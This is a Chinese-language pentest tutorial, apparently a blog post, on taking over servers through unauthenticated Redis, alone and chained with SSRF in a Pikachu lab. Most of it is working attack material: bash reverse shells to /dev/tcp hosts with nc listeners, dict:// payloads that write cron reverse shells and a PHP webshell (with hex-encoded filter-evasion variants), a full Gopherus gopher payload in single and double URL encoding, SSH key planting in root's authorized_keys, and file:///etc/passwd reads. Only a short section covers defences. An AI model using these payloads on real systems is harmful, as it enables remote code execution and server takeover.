目录
利用公钥认证写入root用户用户公钥获取root免密连接权限
ssrf常用伪协议和dict协议完成ssrf配合redis未授权访问漏洞的反弹shell
gopher协议完成ssrf配合redis未授权访问漏洞来反弹shell
未授权访问漏洞利用:redis 反弹shell
-
漏洞原因就是:
-
因为没有设定连接密码或者密码太过简单导致的提取数据直接反弹shell
-
执行redis指令内容 写入文件 拿到服务器的控制终端也就是控制服务器
-
反弹shell利用方式
Redis持久化 也就是保存在磁盘上去 以文件的单位
Config get dir 查看持久化保存的地址
Config get dbfilename 查看保存的文件名称
Save 保存文件redis数据 持久化数据
- 我们可以修改保存的文件目录名称以及位置
- Set shell 反弹shell的攻击代码 保存在数据库,修改文件的存储位置以及名称
- 基于修改配置 保存在/var/spool/cron/ -> 定时任务目录 以用户名(登录的用户名)称进行文件保存
反弹shell指的是什么 :
- 将本地的shell控制终端 返回给另外一台主机
- 反弹shell 是不会终端的
- Webshell 是http 无连接 短链接的
反弹shell的前提条件
-
主机不出网 无法反弹出 外网主机
-
/bin/bash -I 是创建一个bash终端覆盖了原始的bash终端窗口
-
反弹回来 我们需要一个程序用来接受反弹shell的终端数据 4444
步骤:
1 开始一个监听程序 攻击主机 nc 监听 nv –lvvp 4444 接受反弹shell
2 /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1
3 监听终端
redis未授权访问的三种利用手段反弹shell
利用定时任务反弹shell
-
攻击主机下设置
######
Config set dir /var/spool/cron 设置目录 定时任务目录
Dir 查看保存目录下
Config set dbfilename root 设置文件名称
&&&&&&&&&&&&&&&&&
Flushall 清空redis所有数据
攻击主机发送保存数据set 请求
set halo"\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1\n\n"
######
- 进入到/var/spool/cron定时任务 root 一分钟执行一次。
- 攻击主机加入监听 nc –lvvp 4444 一分钟看 攻击主机就会反弹出shell。
- 我们可以看到,通过写定时任务可以反弹shell。
- 但是反弹shell需要一个前提条件
- 就是目标主机是可以出网的,意思就是目标主机可以上网才行,如果目标主机不能上网,也就是不出网
- 那么就需要用到我们后续内网渗透中学到的知识了,比如代理和隧道等技术,让不出网的主机出网
写入 webshell
-
webshell我们前面已经说过,也用过了,所以这里不用多提,
-
重点就是将一句话木马程序写入到redis中
-
然后保存到站点根目录下即可
-
步骤
找到站点根目录
修改redis保存目录
修改redis保存文件名称
Set 写入一句胡木马
Sava写入
利用公钥认证写入root用户用户公钥获取root免密连接权限
步骤
公钥 我拷贝到目标主机特定目录的特定文件中
服务端 root/.ssh
authorized_keys 解密 客户端发来的私钥 相等登录成功
私钥 客户端自己存放着
-
生成公私钥
ssh-keygen
-
将公钥拷贝到目标主机的/root/.ssh/authorized_keys
操控主机:
-
1. 生成公私钥
-
ssh-keygen
-
2.将公钥拷贝到目标主机的/root/.ssh/authorized_keys
远程目标主机:
-
1.在/root/目录下创建.ssh隐藏文件夹
-
2.cs .ssh,进入到ssh目录中,创建authorized_keys文件
-
3.将操作主机的公钥写入到authorized_keys文件中
-
在操控主机上执行ssh root@目标主机ip地址,直接就可以连接,不需要输入密码了,这就是公私钥免密登录
Redis弱口令登录方法写入
- 也就是说
- 我们想办法将自己主机的公钥写入或者拷贝到目标主机的authorized_keys文件中就直接可以免密登录。
redis-cli -h 192.168.142.149
redis-cli 本机连接
redis未授权访问防护手段
-
添加防火墙策略,只允许某些IP地址访问这个redis服务器
-
设置密码,以提供远程登陆打开redis.conf配置文件
-
找到requirepass,然后修改如下:
-
ssrf常用伪协议和dict协议完成ssrf配合redis未授权访问漏洞的反弹shell
伪协议介绍
http:// 主要用于探测主机存活和端口的开放情况
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info
1探测信息有时候返回的信息比较多
2发送指令
3运行指令
sftp://SSH文件传输协议或安全文件传输协议
探测文件时上传下载的 ftp针对21端口
gopher:// 分布式文档传递服务,可使用gopherus生成payload
ssh基于gopher发起攻击
file:/// 从文无序列表件系统中获取文件内容,如,file:///etc/passwd
ldap:// 轻量级目录访问协议 windows域控
Dict伪协议-> 含有信息反馈
DICT协议
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379
- 百度搜寻错误然后再知道是什么样的错误
- ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP. +OK l
-
Dict 可以执行一些应用程序的指令
-
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/info
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/set username base
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.142.149:6379/get username
-
这样的情况下我们就可以利用dict进行定时任务 进行反弹shell
-
dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
dict://192.168.142.149:6379/config:set:dir:/var/spool/cron dict://192.168.142.149:6379/config:set:dbfilename:root dict://192.168.142.149:6379/set:jaden:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.61.149/1234 0>&1\n\n"
# */1 * * * *是每隔1分钟执行一次
注意:
-
若payload存在被转义或过滤的情况或者由于url编码导致失效的情况出现
-
可利用16进制写入内容dict://192.168.142.149:6379/set:jaden:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a \x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.61.149/1234\x200\x3e\x261 \n\n"
dict://192.168.61.161:6379/save
-
dict协议攻击redis,写入webshell
dict://192.168.61.161:6379/config:set:dbfilename:test.php
dict://192.168.61.161:6379/config:set:dir:/var/www/html
dict://192.168.61.161:6379/set:jaden:"\n\n<?php @ev..($_POST[x]);?>\n\n"
dict://192.168.61.161:6379/save
若存在过滤, 则利用16进制内容写入: dict://192.168.61.161:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x6 1\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
-
dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似
Http伪协议:
在开放的情况下没有反应 探测信息
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.142.149:6379
gopher协议完成ssrf配合redis未授权访问漏洞来反弹shell
gopher协议
-
Gopher是一种分布式文档传递服务。
-
利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
-
-
那么它在ssrf中如何使用呢?
-
需要发送多行数据时,就要用到gopher协议
-
同样使用nc简单测试一下
-
可以看到接收端成功接收到了换行的数据
-
所以gopher协议可以用来攻击那些需要交互的应用
-
-
gopher特点
gopher协议支持多行数据一起发送,
dict协议不支持换行符
没有办法进行换行
相当于一次只能执行一条命令
所以不能用来攻击那些需要交互的应用(比如需要认证的redis,每次都要先发送登录密码,紧接着就是要执行的指令,每次都是如此)
并且gopher协议支持发出GET、POST请求:
可以先截获get请求包和post请求包
在构成符合gopher协议的请求
gopher协议是ssrf利用中最强大的协议
GOPHER协议是一种比HTTP协议还要古老的协议
默认工作端口70
但是gopher协议在SSRF漏洞利用上比HTTP协议更有优势。
GOPHER协议可以以单个URL的形式传递POST请求,同时支持换行。
Gopher协议格式:
协议格式:
gopher://ip:port/_数据包 # 数据包前面的_是一个无用字符,因为gopher协议的数据格式默认
会吃掉第一个数据,所以给一个无用数据占位。
格式要求:
gopher协议会吃掉第一个字符,所以要先放一个没有用的字符
要进行url编码
gopher协议数据流中,url编码之后使用%0d%0a替换字符串中的回车换行
数据流末尾使用%0d%0a代表消息结束
- gopher协议数据流写入操作 ,要将上面的数据转换为redis接受的数据格式。
- 然后对 _ 后面的数据进行url编码。
- 如果后台触发漏洞的是curl_exec(),需要对 _ 后面的数据进行二次URL编码。
- 如果是file_get_contents()造成的ssrf,就不需要二次url编码了。
- 但是其实把我们想要执行的redis指令加工成redis接受的数据格式
- 手动来修改格式的话太麻烦了
- 有没有能够直接帮我们生成gopher协议的payload的工具呢,
- 有的,看下面这个工具:Gopherus, GitHub地址:GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
Kali执行命令
-
python2 gopherus.py --exploit redis
http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=
gopher://192.168.142.149:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.142.150/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
- 解码看一下 反弹成功
-
如果后台触发漏洞的是curl_exec(),需要对 _ 后面的数据进行二次URL编码,如果是file_get_contents()造成的ssrf,就不需要二次url编码了。
二次URL编码
gopher%3A%2F%2F192.168.142.149%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252470%250D%250A%250A%250A%252A%2F1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.142.150%2F1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2Fvar%2Fspool%2Fcron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
file协议读取服务器文件
- file协议数据格式: file:///文件绝对路径名
- 上面的格式是正确的 粘贴到浏览器就可以了
- 这种URL Schema可以尝试从文件系统中获取文件,ile协议主要用于读取服务器本地文件,访问本地的静态资源
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。